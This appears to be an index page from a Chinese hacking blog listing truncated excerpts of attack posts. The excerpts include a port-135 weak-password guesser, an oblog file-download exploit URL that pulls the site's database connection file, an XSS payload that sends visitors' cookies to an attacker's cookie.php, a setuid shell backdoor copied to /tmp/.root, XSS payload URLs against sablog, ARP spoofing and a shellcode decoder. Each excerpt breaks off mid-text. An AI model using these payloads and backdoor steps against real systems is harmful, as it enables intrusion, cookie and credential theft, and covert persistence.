//****************************************************
//****** 网蝉工具--135弱口令猜解器 ******
//ip.txt纪录要猜测的IP地址。
//user.txt纪录要猜测的用户名。
//password.txt纪录要猜测的密码。
//3个文件格式为标准的字典文件， 方便与修改和承接其他扫描器扫出的结果。
//********

[阅读全文]

founder:小帅
转载请注明出处: 小帅's blog http://blog.0kee.com/xiaoshuai

<%
id=request("id")
postuser=request("postuser")
sql="select friend from clubuser where clubuser_name='&

[阅读全文]

oblog文件下载漏洞
漏洞存在版本4.6sql+access，一路跟踪下去吧
漏洞文件：attachment.asp
利用很简单：http://test.cn/attachment.asp?path=./conn.asp 即可下载CONN

[阅读全文]

MS Windows Explorer Unspecified .DOC File Denial of Service Exploit

Download the file anywhere excluding on desktop and try to browse it with the Windows explorer and you'll see how it crashes !

-

[阅读全文]

比如发现一处可XSS地方：<script>alert(不管怎么样弹出就好)</script>  自己弄个偷cookie的文件。 目的是让其他浏览者去浏览我们设计好的陷阱 <script>document.location='http://URL.com/cookie.php?cookie=&#39;+escape(document.co

[阅读全文]

常见的留后门的手法

1. Setuid

                         #cp /bin/sh /tmp/.root

                  &nbs

[阅读全文]

Date：2008-03-27
Author：amxku[c.r.s.t]
Version:sablog 1.6

由于过滤不严，存在多个跨站漏洞

PS:
http://www.amxku.net/?viewmode=list&curl=>"><ScRiPt%20%0a%0d>alert(amxku)%3B</ScRiPt>
http://www.a

[阅读全文]

对于服务器来说，Arp欺骗是一种很烦人的攻击

为了便于说明，我们先假设一个子网环境:

网关 : IP = IP-1, MAC = 11:11:11:11:11:11

本机 : IP = IP-2, MAC = 22:22:22:22:22:22

主机A: IP = IP-A, MAC = AA:AA:AA:AA:AA:AA

主机B: IP = IP-B, MAC = BB:BB:BB:BB:BB

[阅读全文]

来源：安全中国 alpha2 shellcode解密的vbs脚本   author:lcx  fromhttp://hi.baidu.com/myvbscript/blog/item/bf7ce603b9a3e8733812bb44.html  ’说明：只针对alpha2的TYIIIIIIIIIIIIIIII这样的加密来解密，没有做更多的容错处理，只是解出下载ur

[阅读全文]

[阅读全文]